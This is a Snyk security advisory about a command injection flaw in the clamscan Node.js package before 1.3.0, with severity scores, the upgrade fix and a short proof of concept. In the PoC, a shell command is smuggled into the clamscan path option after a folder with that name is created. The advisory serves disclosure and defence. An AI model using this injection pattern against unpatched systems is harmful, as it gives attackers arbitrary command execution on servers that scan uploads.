Command Injection Affecting clamscan package, versions <1.3.0


0.0
low

Snyk CVSS

    Attack Complexity High

    Threat Intelligence

    Exploit Maturity Proof of concept
    EPSS 1.67% (88th percentile)
Expand this section
NVD
8.1 high

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications
  • Snyk ID SNYK-JS-CLAMSCAN-564113
  • published 1 Apr 2020
  • disclosed 1 Apr 2020
  • credit JHU System Security Lab

How to fix?

Upgrade clamscan to version 1.3.0 or higher.

Overview

clamscan is an Use Node JS to scan files on your server with ClamAV's clamscan binary or clamdscan daemon. This is especially useful for scanning uploaded files provided by un-trusted sources.

Affected versions of this package are vulnerable to Command Injection. It is possible to inject arbitrary commands as part of the _is_clamav_binary function located within Index.js.

It should be noted that this vulnerability requires a pre-requisite that a folder should be created with the same command that will be chained to execute. This lowers the risk of this issue.

PoC by Snyk

var Root = require("clamscan");
var fs = require("fs");
var attack_code = "echo vulnerable > create.txt";
var root = new Root();
fs.mkdir(attack_code + "&", function(){});
root.init({"clamscan": {'path': attack_code + "&"}});